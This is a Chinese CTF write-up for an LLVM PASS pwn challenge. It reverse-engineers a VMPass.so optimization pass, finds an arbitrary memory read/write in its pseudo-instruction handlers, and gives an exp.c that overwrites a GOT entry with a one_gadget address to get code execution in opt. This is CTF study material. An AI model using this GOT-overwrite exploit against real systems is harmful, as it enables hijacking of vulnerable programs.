文章目录
- 参考
- 检查
- 逆向
- 漏洞
- 思路
- 调试
- 定位到PASS名
- exp
参考
https://bbs.kanxue.com/thread-274259.htm#msg_header_h2_6
http://www.blackbird.wang/2022/08/30/LLVM-PASS%E7%B1%BBpwn%E9%A2%98%E6%80%BB%E7%BB%93/
检查
因为是用opt运行,加载动态库VMPASS.so的PASS类,再通过该PASS类对IR进行优化,所以pwn的是opt
逆向
搜索vtable定位到虚表,最下面的函数就是重写的虚函数runOnFunction
检查你优化的程序中的函数名,存在为o0o0o0o0就会调用sub_6AC0
以块为单位遍历该函数
然后调用sub_6B80处理块
__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *basic_block)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]command[1] = __readfsqword(0x28u);command[0] = llvm::BasicBlock::begin(basic_block);while ( 1 ){end = llvm::BasicBlock::end(basic_block);if ( (llvm::operator!=(command, &end) & 1) == 0 )break;v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(command);if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )// 遇到call指令{v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);// 转换为call指令对应的指针if ( v35 ){name = (char *)malloc(0x20uLL);CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);v37 = (_QWORD *)llvm::Value::getName(CalledFunction);*(_QWORD *)name = *v37;*((_QWORD *)name + 1) = v37[1];*((_QWORD *)name + 2) = v37[2];*((_QWORD *)name + 3) = v37[3];if ( !strcmp(name, "pop") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){ArgOperand = llvm::CallBase::getArgOperand(v35, 0);v32 = 0LL;v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);if ( v31 ){ZExtValue = llvm::ConstantInt::getZExtValue(v31);if ( ZExtValue == 1 )v32 = off_20DFD0;if ( ZExtValue == 2 )v32 = off_20DFC0;}if ( v32 ){v3 = sp_point;*v32 = *(_QWORD *)*sp_point;*v3 = (char *)*v3 - 8;}}}else if ( !strcmp(name, "push") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v29 = llvm::CallBase::getArgOperand(v35, 0);v28 = 0LL;v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);if ( v27 ){v26 = llvm::ConstantInt::getZExtValue(v27);if ( v26 == 1 )v28 = off_20DFD0;if ( v26 == 2 )v28 = off_20DFC0;}if ( v28 ){v4 = sp_point;*sp_point = (char *)*sp_point + 8;*(_QWORD *)*v4 = *v28;}}}else if ( !strcmp(name, "store") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v25 = llvm::CallBase::getArgOperand(v35, 0);v24 = 0LL;v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);if ( v23 ){v22 = llvm::ConstantInt::getZExtValue(v23);if ( v22 == 1 )v24 = off_20DFD0;if ( v22 == 2 )v24 = off_20DFC0;}if ( v24 == off_20DFD0 ){**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;}else if ( v24 == off_20DFC0 ){**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;}}}else if ( !strcmp(name, "load") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v21 = llvm::CallBase::getArgOperand(v35, 0);v20 = 0LL;v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);if ( v19 ){v18 = llvm::ConstantInt::getZExtValue(v19);if ( v18 == 1 )v20 = off_20DFD0;if ( v18 == 2 )v20 = off_20DFC0;}if ( v20 == off_20DFD0 )*(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;if ( v20 == off_20DFC0 )*(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;}}else if ( !strcmp(name, "add") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 ){v17 = llvm::CallBase::getArgOperand(v35, 0);v16 = 0LL;v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);if ( v15 ){v14 = llvm::ConstantInt::getZExtValue(v15);if ( v14 == 1 )v16 = off_20DFD0;if ( v14 == 2 )v16 = off_20DFC0;}if ( v16 ){v13 = llvm::CallBase::getArgOperand(v35, 1u);v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);if ( v12 )*v16 += llvm::ConstantInt::getZExtValue(v12);}}}else if ( !strcmp(name, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 ){v11 = llvm::CallBase::getArgOperand(v35, 0);v10 = 0LL;v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);if ( v9 ){v8 = llvm::ConstantInt::getZExtValue(v9);if ( v8 == 1 )v10 = off_20DFD0;if ( v8 == 2 )v10 = off_20DFC0;}if ( v10 ){v7 = llvm::CallBase::getArgOperand(v35, 1u);v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);if ( v6 )*v10 -= llvm::ConstantInt::getZExtValue(v6);}}free(name);}}llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(command,0LL);}return 1LL;
}
漏洞
根据指定的寄存器,将指定的寄存器的值指向的内容赋值给另一个寄存器
根据指定的寄存器,将另一个寄存器赋值给指定的寄存器的值指向的内容
存在任意地址读写
思路
没开pie,通过任意地址读写修改修改free的got表为gadget,因为opt优化调用的函数最后会free
不太行,调用的不是pie中的free,使用其他函数在最后的free,
而如果最终到call free的指令,此时rbp为0,会出现段错误
这里参考winmt师傅的做法
选择这个
got表,发现两个got表,都试试吧
第二个失败,上面的那个成功
调试
clang-8 -emit-llvm -S exp.c -o exp.bc或者
clang-8 -emit-llvm -S exp.c -o exp.ll
opt-8 -load ./VMPass.so -VMPass ./exp.bc
调试opt然后跟进到so文件
opt并不会一开始就将so模块加载进来,会执行一些初始化函数才会加载so模块。
调试的时候可以把断点下载llvm::Pass::preparePassManager,程序执行到这里的时候就已经加载了LLVMHello.so文件(或者到main+11507),我们就可以根据偏移进一步将断点下在LLVMHello.so文件里面
查看vmmap,发现已经加载进来,然后可以更加偏移断在runOnFunction上
成功
发现寄存器一开始是零,所以add相当于直接赋值了
找到got表
定位到PASS名
对_cxa_atexit
引用定位(在start函数里)
exp
add第二个参数用64位
void add(int arg1,int arg2);
void load(int arg1);
void store(int arg1);void o0o0o0o0(){add(1,0x77e100);load(1); //将free的got表的内容复制给第二个寄存器add(2,0x4942e); //free的地址和onegadget的偏移add(1,0x870);store(1); //修改free的got表的内容}//0xe3b04 0xe3b01 0000000000006F8F